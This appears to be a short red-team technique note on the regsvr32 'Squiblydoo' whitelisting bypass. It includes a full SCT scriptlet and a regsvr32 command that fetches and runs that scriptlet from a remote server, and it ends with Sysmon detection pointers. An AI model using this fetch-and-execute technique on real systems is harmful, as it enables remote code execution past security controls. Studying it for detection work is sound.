regsvr32

regsvr32 (squiblydoo) code execution - bypass application whitelisting.

Execution

http://10.0.0.5/back.sct

<?XML version="1.0"?>
<scriptlet>
<registration
  progid="TESTING"
  classid="{A1112221-0000-0000-3000-000DA00DABFC}" >
  <script language="JScript">
    <![CDATA[
      var foo = new ActiveXObject("WScript.Shell").Run("calc.exe"); 
    ]]>
</script>
</registration>
</scriptlet>

We need to host the back.sct on a web server so we can invoke it like so:

attacker@victim

regsvr32.exe /s /i:http://10.0.0.5/back.sct scrobj.dll

Observations

calc.exe spawned by regsvr32.exe

Note how regsvr32 process exits almost immediately. This means that just by looking at the list of processes on the victim machine, the evil process may not be immedialy evident... Not until you realise how it was invoked though. Sysmon commandline logging may help you detect this activity:

Additionally, of course sysmon will show regsvr32 establishing a network connection:

References

System Binary Proxy Execution: Regsvr32, Sub-technique T1218.010 - Enterprise | MITRE ATT&CK®attack.mitre.org